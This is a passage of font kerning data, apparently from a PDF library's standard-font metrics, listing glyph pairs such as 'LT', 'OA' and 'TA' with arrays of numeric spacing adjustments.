-50,-30],KcommaaccentOcircumflex:[-30,-30,-50,-50,-30,-30,-50,-30],KcommaaccentOdieresis:[-30,-30,-50,-50,-30,-30,-50,-30],KcommaaccentOgrave:[-30,-30,-50,-50,-30,-30,-50,-30],KcommaaccentOhungarumlaut:[-30,-30,-50,-50,-30,-30,-50,-30],KcommaaccentOmacron:[-30,-30,-50,-50,-30,-30,-50,-30],KcommaaccentOslash:[-30,-30,-50,-50,-30,-30,-50,-30],KcommaaccentOtilde:[-30,-30,-50,-50,-30,-30,-50,-30],Kcommaaccente:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccenteacute:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccentecaron:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccentecircumflex:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccentedieresis:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccentedotaccent:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccentegrave:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccentemacron:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccenteogonek:[-15,-15,-40,-40,-25,-25,-35,-25],Kcommaaccento:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentoacute:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentocircumflex:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentodieresis:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentograve:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentohungarumlaut:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentomacron:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentoslash:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentotilde:[-35,-35,-40,-40,-25,-25,-40,-35],Kcommaaccentu:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccentuacute:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccentucircumflex:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccentudieresis:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccentugrave:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccentuhungarumlaut:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccentumacron:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccentuogonek:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccenturing:[-30,-30,-30,-30,-15,-20,-40,-15],Kcommaaccenty:[-40,-40,-50,-50,-45,-20,-40,-25],Kcommaaccentyacute:[-40,-40,-50,-50,-45,-20,-40,-25],Kcommaaccentydieresis:[-40,-40,-50,-50,-45,-20,-40,-25],LT:[-90,-90,-110,-110,-92,-18,-20,-92],LTcaron:[-90,-90,-110,-110,-92,-18,-20,-92],LTcommaaccent:[-90,-90,-110,-110,-92,-18,-20,-92],LV:[-110,-110,-110,-110,-92,-37,-55,-100],LW:[-80,-80,-70,-70,-92,-37,-55,-74],LY:[-120,-120,-140,-140,-92,-37,-20,-100],LYacute:[-120,-120,-140,-140,-92,-37,-20,-100],LYdieresis:[-120,-120,-140,-140,-92,-37,-20,-100],Lquotedblright:[-140,-140,-140,-140,-20],Lquoteright:[-140,-140,-160,-160,-110,-55,-37,-92],Ly:[-30,-30,-30,-30,-55,-37,-30,-55],Lyacute:[-30,-30,-30,-30,-55,-37,-30,-55],Lydieresis:[-30,-30,-30,-30,-55,-37,-30,-55],LacuteT:[-90,-90,-110,-110,-92,-18,-20,-92],LacuteTcaron:[-90,-90,-110,-110,-92,-18,-20,-92],LacuteTcommaaccent:[-90,-90,-110,-110,-92,-18,-20,-92],LacuteV:[-110,-110,-110,-110,-92,-37,-55,-100],LacuteW:[-80,-80,-70,-70,-92,-37,-55,-74],LacuteY:[-120,-120,-140,-140,-92,-37,-20,-100],LacuteYacute:[-120,-120,-140,-140,-92,-37,-20,-100],LacuteYdieresis:[-120,-120,-140,-140,-92,-37,-20,-100],Lacutequotedblright:[-140,-140,-140,-140,-20],Lacutequoteright:[-140,-140,-160,-160,-110,-55,-37,-92],Lacutey:[-30,-30,-30,-30,-55,-37,-30,-55],Lacuteyacute:[-30,-30,-30,-30,-55,-37,-30,-55],Lacuteydieresis:[-30,-30,-30,-30,-55,-37,-30,-55],LcommaaccentT:[-90,-90,-110,-110,-92,-18,-20,-92],LcommaaccentTcaron:[-90,-90,-110,-110,-92,-18,-20,-92],LcommaaccentTcommaaccent:[-90,-90,-110,-110,-92,-18,-20,-92],LcommaaccentV:[-110,-110,-110,-110,-92,-37,-55,-100],LcommaaccentW:[-80,-80,-70,-70,-92,-37,-55,-74],LcommaaccentY:[-120,-120,-140,-140,-92,-37,-20,-100],LcommaaccentYacute:[-120,-120,-140,-140,-92,-37,-20,-100],LcommaaccentYdieresis:[-120,-120,-140,-140,-92,-37,-20,-100],Lcommaaccentquotedblright:[-140,-140,-140,-140,-20],Lcommaaccentquoteright:[-140,-140,-160,-160,-110,-55,-37,-92],Lcommaaccenty:[-30,-30,-30,-30,-55,-37,-30,-55],Lcommaaccentyacute:[-30,-30,-30,-30,-55,-37,-30,-55],Lcommaaccentydieresis:[-30,-30,-30,-30,-55,-37,-30,-55],LslashT:[-90,-90,-110,-110,-92,-18,-20,-92],LslashTcaron:[-90,-90,-110,-110,-92,-18,-20,-92],LslashTcommaaccent:[-90,-90,-110,-110,-92,-18,-20,-92],LslashV:[-110,-110,-110,-110,-92,-37,-55,-100],LslashW:[-80,-80,-70,-70,-92,-37,-55,-74],LslashY:[-120,-120,-140,-140,-92,-37,-20,-100],LslashYacute:[-120,-120,-140,-140,-92,-37,-20,-100],LslashYdieresis:[-120,-120,-140,-140,-92,-37,-20,-100],Lslashquotedblright:[-140,-140,-140,-140,-20],Lslashquoteright:[-140,-140,-160,-160,-110,-55,-37,-92],Lslashy:[-30,-30,-30,-30,-55,-37,-30,-55],Lslashyacute:[-30,-30,-30,-30,-55,-37,-30,-55],Lslashydieresis:[-30,-30,-30,-30,-55,-37,-30,-55],OA:[-50,-50,-20,-20,-40,-40,-55,-35],OAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OAring:[-50,-50,-20,-20,-40,-40,-55,-35],OAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OT:[-40,-40,-40,-40,-40,-40,-40,-40],OTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OV:[-50,-50,-50,-50,-50,-50,-50,-50],OW:[-50,-50,-30,-30,-50,-50,-50,-35],OX:[-50,-50,-60,-60,-40,-40,-40,-40],OY:[-70,-70,-70,-70,-50,-50,-50,-50],OYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Ocomma:[-40,-40,-40,-40],Operiod:[-40,-40,-40,-40],OacuteA:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAring:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OacuteT:[-40,-40,-40,-40,-40,-40,-40,-40],OacuteTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OacuteTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OacuteV:[-50,-50,-50,-50,-50,-50,-50,-50],OacuteW:[-50,-50,-30,-30,-50,-50,-50,-35],OacuteX:[-50,-50,-60,-60,-40,-40,-40,-40],OacuteY:[-70,-70,-70,-70,-50,-50,-50,-50],OacuteYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OacuteYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Oacutecomma:[-40,-40,-40,-40],Oacuteperiod:[-40,-40,-40,-40],OcircumflexA:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAring:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OcircumflexT:[-40,-40,-40,-40,-40,-40,-40,-40],OcircumflexTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OcircumflexTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OcircumflexV:[-50,-50,-50,-50,-50,-50,-50,-50],OcircumflexW:[-50,-50,-30,-30,-50,-50,-50,-35],OcircumflexX:[-50,-50,-60,-60,-40,-40,-40,-40],OcircumflexY:[-70,-70,-70,-70,-50,-50,-50,-50],OcircumflexYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OcircumflexYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Ocircumflexcomma:[-40,-40,-40,-40],Ocircumflexperiod:[-40,-40,-40,-40],OdieresisA:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAring:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OdieresisT:[-40,-40,-40,-40,-40,-40,-40,-40],OdieresisTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OdieresisTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OdieresisV:[-50,-50,-50,-50,-50,-50,-50,-50],OdieresisW:[-50,-50,-30,-30,-50,-50,-50,-35],OdieresisX:[-50,-50,-60,-60,-40,-40,-40,-40],OdieresisY:[-70,-70,-70,-70,-50,-50,-50,-50],OdieresisYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OdieresisYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Odieresiscomma:[-40,-40,-40,-40],Odieresisperiod:[-40,-40,-40,-40],OgraveA:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAring:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OgraveT:[-40,-40,-40,-40,-40,-40,-40,-40],OgraveTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OgraveTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OgraveV:[-50,-50,-50,-50,-50,-50,-50,-50],OgraveW:[-50,-50,-30,-30,-50,-50,-50,-35],OgraveX:[-50,-50,-60,-60,-40,-40,-40,-40],OgraveY:[-70,-70,-70,-70,-50,-50,-50,-50],OgraveYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OgraveYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Ogravecomma:[-40,-40,-40,-40],Ograveperiod:[-40,-40,-40,-40],OhungarumlautA:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAring:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OhungarumlautT:[-40,-40,-40,-40,-40,-40,-40,-40],OhungarumlautTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OhungarumlautTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OhungarumlautV:[-50,-50,-50,-50,-50,-50,-50,-50],OhungarumlautW:[-50,-50,-30,-30,-50,-50,-50,-35],OhungarumlautX:[-50,-50,-60,-60,-40,-40,-40,-40],OhungarumlautY:[-70,-70,-70,-70,-50,-50,-50,-50],OhungarumlautYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OhungarumlautYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Ohungarumlautcomma:[-40,-40,-40,-40],Ohungarumlautperiod:[-40,-40,-40,-40],OmacronA:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAring:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OmacronT:[-40,-40,-40,-40,-40,-40,-40,-40],OmacronTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OmacronTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OmacronV:[-50,-50,-50,-50,-50,-50,-50,-50],OmacronW:[-50,-50,-30,-30,-50,-50,-50,-35],OmacronX:[-50,-50,-60,-60,-40,-40,-40,-40],OmacronY:[-70,-70,-70,-70,-50,-50,-50,-50],OmacronYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OmacronYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Omacroncomma:[-40,-40,-40,-40],Omacronperiod:[-40,-40,-40,-40],OslashA:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAring:[-50,-50,-20,-20,-40,-40,-55,-35],OslashAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OslashT:[-40,-40,-40,-40,-40,-40,-40,-40],OslashTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OslashTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OslashV:[-50,-50,-50,-50,-50,-50,-50,-50],OslashW:[-50,-50,-30,-30,-50,-50,-50,-35],OslashX:[-50,-50,-60,-60,-40,-40,-40,-40],OslashY:[-70,-70,-70,-70,-50,-50,-50,-50],OslashYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OslashYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Oslashcomma:[-40,-40,-40,-40],Oslashperiod:[-40,-40,-40,-40],OtildeA:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAacute:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAbreve:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAcircumflex:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAdieresis:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAgrave:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAmacron:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAogonek:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAring:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeAtilde:[-50,-50,-20,-20,-40,-40,-55,-35],OtildeT:[-40,-40,-40,-40,-40,-40,-40,-40],OtildeTcaron:[-40,-40,-40,-40,-40,-40,-40,-40],OtildeTcommaaccent:[-40,-40,-40,-40,-40,-40,-40,-40],OtildeV:[-50,-50,-50,-50,-50,-50,-50,-50],OtildeW:[-50,-50,-30,-30,-50,-50,-50,-35],OtildeX:[-50,-50,-60,-60,-40,-40,-40,-40],OtildeY:[-70,-70,-70,-70,-50,-50,-50,-50],OtildeYacute:[-70,-70,-70,-70,-50,-50,-50,-50],OtildeYdieresis:[-70,-70,-70,-70,-50,-50,-50,-50],Otildecomma:[-40,-40,-40,-40],Otildeperiod:[-40,-40,-40,-40],PA:[-100,-100,-120,-120,-74,-85,-90,-92],PAacute:[-100,-100,-120,-120,-74,-85,-90,-92],PAbreve:[-100,-100,-120,-120,-74,-85,-90,-92],PAcircumflex:[-100,-100,-120,-120,-74,-85,-90,-92],PAdieresis:[-100,-100,-120,-120,-74,-85,-90,-92],PAgrave:[-100,-100,-120,-120,-74,-85,-90,-92],PAmacron:[-100,-100,-120,-120,-74,-85,-90,-92],PAogonek:[-100,-100,-120,-120,-74,-85,-90,-92],PAring:[-100,-100,-120,-120,-74,-85,-90,-92],PAtilde:[-100,-100,-120,-120,-74,-85,-90,-92],Pa:[-30,-30,-40,-40,-10,-40,-80,-15],Paacute:[-30,-30,-40,-40,-10,-40,-80,-15],Pabreve:[-30,-30,-40,-40,-10,-40,-80,-15],Pacircumflex:[-30,-30,-40,-40,-10,-40,-80,-15],Padieresis:[-30,-30,-40,-40,-10,-40,-80,-15],Pagrave:[-30,-30,-40,-40,-10,-40,-80,-15],Pamacron:[-30,-30,-40,-40,-10,-40,-80,-15],Paogonek:[-30,-30,-40,-40,-10,-40,-80,-15],Paring:[-30,-30,-40,-40,-10,-40,-80,-15],Patilde:[-30,-30,-40,-40,-10,-40,-80,-15],Pcomma:[-120,-120,-180,-180,-92,-129,-135,-111],Pe:[-30,-30,-50,-50,-20,-50,-80],Peacute:[-30,-30,-50,-50,-20,-50,-80],Pecaron:[-30,-30,-50,-50,-20,-50,-80],Pecircumflex:[-30,-30,-50,-50,-20,-50,-80],Pedieresis:[-30,-30,-50,-50,-20,-50,-80],Pedotaccent:[-30,-30,-50,-50,-20,-50,-80],Pegrave:[-30,-30,-50,-50,-20,-50,-80],Pemacron:[-30,-30,-50,-50,-20,-50,-80],Peogonek:[-30,-30,-50,-50,-20,-50,-80],Po:[-40,-40,-50,-50,-20,-55,-80],Poacute:[-40,-40,-50,-50,-20,-55,-80],Pocircumflex:[-40,-40,-50,-50,-20,-55,-80],Podieresis:[-40,-40,-50,-50,-20,-55,-80],Pograve:[-40,-40,-50,-50,-20,-55,-80],Pohungarumlaut:[-40,-40,-50,-50,-20,-55,-80],Pomacron:[-40,-40,-50,-50,-20,-55,-80],Poslash:[-40,-40,-50,-50,-20,-55,-80],Potilde:[-40,-40,-50,-50,-20,-55,-80],Pperiod:[-120,-120,-180,-180,-110,-129,-135,-111],QU:[-10,-10,-10,-10,-10,-10,-10,-10],QUacute:[-10,-10,-10,-10,-10,-10,-10,-10],QUcircumflex:[-10,-10,-10,-10,-10,-10,-10,-10],QUdieresis:[-10,-10,-10,-10,-10,-10,-10,-10],QUgrave:[-10,-10,-10,-10,-10,-10,-10,-10],QUhungarumlaut:[-10,-10,-10,-10,-10,-10,-10,-10],QUmacron:[-10,-10,-10,-10,-10,-10,-10,-10],QUogonek:[-10,-10,-10,-10,-10,-10,-10,-10],QUring:[-10,-10,-10,-10,-10,-10,-10,-10],Qcomma:[20,20],Qperiod:[20,20,0,0,-20],RO:[-20,-20,-20,-20,-30,-40,-40,-40],ROacute:[-20,-20,-20,-20,-30,-40,-40,-40],ROcircumflex:[-20,-20,-20,-20,-30,-40,-40,-40],ROdieresis:[-20,-20,-20,-20,-30,-40,-40,-40],ROgrave:[-20,-20,-20,-20,-30,-40,-40,-40],ROhungarumlaut:[-20,-20,-20,-20,-30,-40,-40,-40],ROmacron:[-20,-20,-20,-20,-30,-40,-40,-40],ROslash:[-20,-20,-20,-20,-30,-40,-40,-40],ROtilde:[-20,-20,-20,-20,-30,-40,-40,-40],RT:[-20,-20,-30,-30,-40,-30,0,-60],RTcaron:[-20,-20,-30,-30,-40,-30,0,-60],RTcommaaccent:[-20,-20,-30,-30,-40,-30,0,-60],RU:[-20,-20,-40,-40,-30,-40,-40,-40],RUacute:[-20,-20,-40,-40,-30,-40,-40,-40],RUcircumflex:[-20,-20,-40,-40,-30,-40,-40,-40],RUdieresis:[-20,-20,-40,-40,-30,-40,-40,-40],RUgrave:[-20,-20,-40,-40,-30,-40,-40,-40],RUhungarumlaut:[-20,-20,-40,-40,-30,-40,-40,-40],RUmacron:[-20,-20,-40,-40,-30,-40,-40,-40],RUogonek:[-20,-20,-40,-40,-30,-40,-40,-40],RUring:[-20,-20,-40,-40,-30,-40,-40,-40],RV:[-50,-50,-50,-50,-55,-18,-18,-80],RW:[-40,-40,-30,-30,-35,-18,-18,-55],RY:[-50,-50,-50,-50,-35,-18,-18,-65],RYacute:[-50,-50,-50,-50,-35,-18,-18,-65],RYdieresis:[-50,-50,-50,-50,-35,-18,-18,-65],RacuteO:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOacute:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOcircumflex:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOdieresis:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOgrave:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOhungarumlaut:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOmacron:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOslash:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteOtilde:[-20,-20,-20,-20,-30,-40,-40,-40],RacuteT:[-20,-20,-30,-30,-40,-30,0,-60],RacuteTcaron:[-20,-20,-30,-30,-40,-30,0,-60],RacuteTcommaaccent:[-20,-20,-30,-30,-40,-30,0,-60],RacuteU:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUacute:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUcircumflex:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUdieresis:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUgrave:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUhungarumlaut:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUmacron:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUogonek:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteUring:[-20,-20,-40,-40,-30,-40,-40,-40],RacuteV:[-50,-50,-50,-50,-55,-18,-18,-80],RacuteW:[-40,-40,-30,-30,-35,-18,-18,-55],RacuteY:[-50,-50,-50,-50,-35,-18,-18,-65],RacuteYacute:[-50,-50,-50,-50,-35,-18,-18,-65],RacuteYdieresis:[-50,-50,-50,-50,-35,-18,-18,-65],RcaronO:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOacute:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOcircumflex:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOdieresis:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOgrave:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOhungarumlaut:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOmacron:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOslash:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronOtilde:[-20,-20,-20,-20,-30,-40,-40,-40],RcaronT:[-20,-20,-30,-30,-40,-30,0,-60],RcaronTcaron:[-20,-20,-30,-30,-40,-30,0,-60],RcaronTcommaaccent:[-20,-20,-30,-30,-40,-30,0,-60],RcaronU:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUacute:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUcircumflex:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUdieresis:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUgrave:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUhungarumlaut:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUmacron:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUogonek:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronUring:[-20,-20,-40,-40,-30,-40,-40,-40],RcaronV:[-50,-50,-50,-50,-55,-18,-18,-80],RcaronW:[-40,-40,-30,-30,-35,-18,-18,-55],RcaronY:[-50,-50,-50,-50,-35,-18,-18,-65],RcaronYacute:[-50,-50,-50,-50,-35,-18,-18,-65],RcaronYdieresis:[-50,-50,-50,-50,-35,-18,-18,-65],RcommaaccentO:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOacute:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOcircumflex:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOdieresis:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOgrave:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOhungarumlaut:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOmacron:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOslash:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentOtilde:[-20,-20,-20,-20,-30,-40,-40,-40],RcommaaccentT:[-20,-20,-30,-30,-40,-30,0,-60],RcommaaccentTcaron:[-20,-20,-30,-30,-40,-30,0,-60],RcommaaccentTcommaaccent:[-20,-20,-30,-30,-40,-30,0,-60],RcommaaccentU:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUacute:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUcircumflex:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUdieresis:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUgrave:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUhungarumlaut:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUmacron:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUogonek:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentUring:[-20,-20,-40,-40,-30,-40,-40,-40],RcommaaccentV:[-50,-50,-50,-50,-55,-18,-18,-80],RcommaaccentW:[-40,-40,-30,-30,-35,-18,-18,-55],RcommaaccentY:[-50,-50,-50,-50,-35,-18,-18,-65],RcommaaccentYacute:[-50,-50,-50,-50,-35,-18,-18,-65],RcommaaccentYdieresis:[-50,-50,-50,-50,-35,-18,-18,-65],TA:[-90,-90,-120,-120,-90,-55,-50,-93],TAacute:[-90,-90,-120,-120,-90,-55,-50,-93],TAbreve:[-90,-90,-120,-120,-90,-55,-50,-93],TAcircumflex:[-90,-90,-120,-120,-90,-55,-50,-93],TAdieresis:[-90,-90,-120,-120,-90,-55,-50,-93],TAgrave:[-90,-90,-120,-120,-90,-55,-50,-93],TAmacron:[-90,-90,-120,-120,-90,-55,-50,-93],TAogonek:[-90,-90,-120,-120,-90,-55,-50,-93],TAring:[-90,-90,-120,-120,-90,-55,-50,-93],TAtilde:[-90,-90,-120,-120,-90,-55,-50,-93],TO:[-40,-40,-40,-40,-18,-18,-18,-18],TOacute:[-40,-40,-40,-40,-18,-18,-18,-18],TOcircumflex:[-40,-40,-40,-40,-18,-18,-18,-18],TOdieresis:[-40,-40,-40,-40,-18,-18,-18,-18],TOgrave:[-40,-40,-40,-40,-18,-18,-18,-18],TOhungarumlaut:[-40,-40,-40,-40,-18,-18,-18,-18],TOmacron:[-40,-40,-40,-40,-18,-18,-18,-18],TOslash:[-40,-40,-40,-40,-18,-18,-18,-18],TOtilde:[-40,-40,-40,-40,-18,-18,-18,-18],Ta:[-80,-80,-120,-120,-92,-92,-92,-80],Taacute:[-80,-80,-120,-120,-92,-92,-92,-80],Tabreve:[-80,-80,-60,-60,-52,-92,-92,-80],Tacircumflex:[-80,-80,-120,-120,-52,-92,-92,-80],Tadieresis:[-80,-80,-120,-120,-52,-92,-92,-40],Tagrave:[-80,-80,-120,-120,-52,-92,-92,-40],Tamacron:[-80,-80,-60,-60,-52,-92,-92,-40],Taogonek:[-80,-80,-120,-120,-